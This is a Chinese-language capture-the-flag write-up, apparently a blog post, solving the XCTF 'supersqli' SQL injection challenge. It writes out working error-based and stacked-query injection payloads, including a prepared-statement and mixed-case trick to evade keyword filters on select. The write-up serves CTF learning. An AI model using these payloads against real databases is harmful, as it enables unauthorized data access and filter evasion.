zoukankan      html  css  js  c++  java
  • XCTF-supersqli

    supersqli

    进来有个输入框,看内容应该是var_dump了sql查询结果

    单引号有报错,万能语句能用,注释符#没被ban

    打了个union select,给提示ban了一堆关键字,而且忽略大小写

    想了下,想到一个

    之前做过一道php的题,利用的是preg_match的一个特性,它在匹配后会转换unicode,所以把select转换成unicode编码传入就可以了

    回显已经转义,但还是会一直报错,猜测是unicode编码里的#影响了代码的执行

    试试报错注入1' or extractvalue(rand(),concat(0x7e,database())) #

    能爆出库名supersqli

    然后在搜bypass的时候看到了堆叠注入

    想了下刚好可以用堆叠

    0'; use supersqli; show tables;,爆出表名

    0'; use supersqli; show columns from `1919810931114514`; #

    爆出字段名

    最后查flag难住了,不知道怎么绕

    去看了wp,这里要用sql的预编译

    sql预编译的语法

    set 设置查询语句

    prepare 进行编译并命名

    execute 执行

    0'; set @sql=concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqili; #

    还有个strstr过滤

    strstr不能区分大小写,混写一下就可以了

    payload

    0';sEt @sql=concat('se','lect * from `1919810931114514`;');pRepare sqli from @sql;execute sqli;

    安利这篇write up,比我写的好n倍

    收获姿势:

    • 堆叠注入+预编译绕过select被ban
    • 大小写混合绕过strstr
  • 相关阅读:
    vba中application.statusbar表示返回或设置状态栏的文字
    vba中counta函数
    vba事件程序
    遇到错误继续执行的语句on error resume next
    vba中字典的一些函数
    vba中如何调用字典
    range.value
    vba中with/end with
    vba中for循环可以用for each 变量 in 数组/单元格/sheet表
    需要学习的内容
  • 原文地址:https://www.cnblogs.com/R3col/p/12699525.html
Copyright © 2011-2022 走看看